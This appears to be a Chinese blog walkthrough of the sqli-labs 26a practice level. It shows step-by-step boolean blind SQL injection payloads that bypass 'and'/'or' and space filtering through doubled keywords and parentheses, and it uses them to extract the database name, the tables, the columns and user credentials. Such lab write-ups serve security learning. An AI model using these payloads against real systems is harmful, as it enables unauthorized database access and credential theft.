sqli-labs 26a

一、首先判断注入点

id=1

sqli-labs 26a_第1张图片

id=1"

sqli-labs 26a_第2张图片

 id=1'

sqli-labs 26a_第3张图片

 页面没有结果,说明单引号破坏了sql语句的结构,判断是单引号字符型。

二、判断是否有括号

id=2'anandd'1'='1

即2' and '1'='1

如果没有括号,查询语句即为where id = '$id'

执行的语句则是where id = '2' and '1'='1'         回显会是id为2的信息

如果有括号,查询语句即为where id = ('$id')

执行的语句则是where id = ('2' and '1'='1')

mysql会将'2'当作true,然后true and true为true,true则为1

即执行where id = 1        回显会是id为1的信息

sqli-labs 26a_第4张图片

由图可知,回显id为1的信息,即闭合为')

三、进行布尔盲注

判断数据库长度

id=1')anandd(length(database())=8)anandd('1

sqli-labs 26a_第5张图片

 数据库长度为8

判断数据库名

id=1')anandd(ascii(substr(database(),1,1))=115)anandd('1

sqli-labs 26a_第6张图片

去查ascii表,得出115对应s。

后面依次判断出8位...得出数据库名security

判断表名长度

由于我这里用的是windows系统,可能是因为apache解析不了,无法用%a0代替空格,所以这里使用()绕过

id=1')anandd

(length((select(group_concat(table_name))

from(infoorrmation_schema.tables)

where(table_schema='security')))=29)

anandd('1

sqli-labs 26a_第7张图片

判断出表名长度为29

判断表名

id=1')anandd

(ascii(substr((select(group_concat(table_name))

from(infoorrmation_schema.tables)

where(table_schema='security')),1,1))=101)

anandd('1

sqli-labs 26a_第8张图片

得出101为e

后面依次判断出表名为emails,referers,uagents,users

判断users表的字段名长度

id=1')anandd

(length((select(group_concat(column_name))

from(infoorrmation_schema.columns)

where(table_schema='security')

anandd(table_name='users')))=20)

anandd('1

sqli-labs 26a_第9张图片

字段名长度为20

判断users表的字段名

id=1')anandd

(ascii(substr((select(group_concat(column_name))

from(infoorrmation_schema.columns)

where(table_schema='security')

anandd(table_name='users')),1,1))=105)

anandd('1

sqli-labs 26a_第10张图片

后面依次判断出字段名为id,username,password

判断users具体数据长度

id=1')anandd

(length((select(group_concat(username,passwoorrd))

from(users)))=189)anandd('1

 sqli-labs 26a_第11张图片

 猜出users具体数据

id=1')anandd

(ascii(substr((select(group_concat(username,passwoorrd))from(users)),1,1))=68)

anandd('1

sqli-labs 26a_第12张图片

 最后得出所有数据

你可能感兴趣的:(mysql,sql,数据库)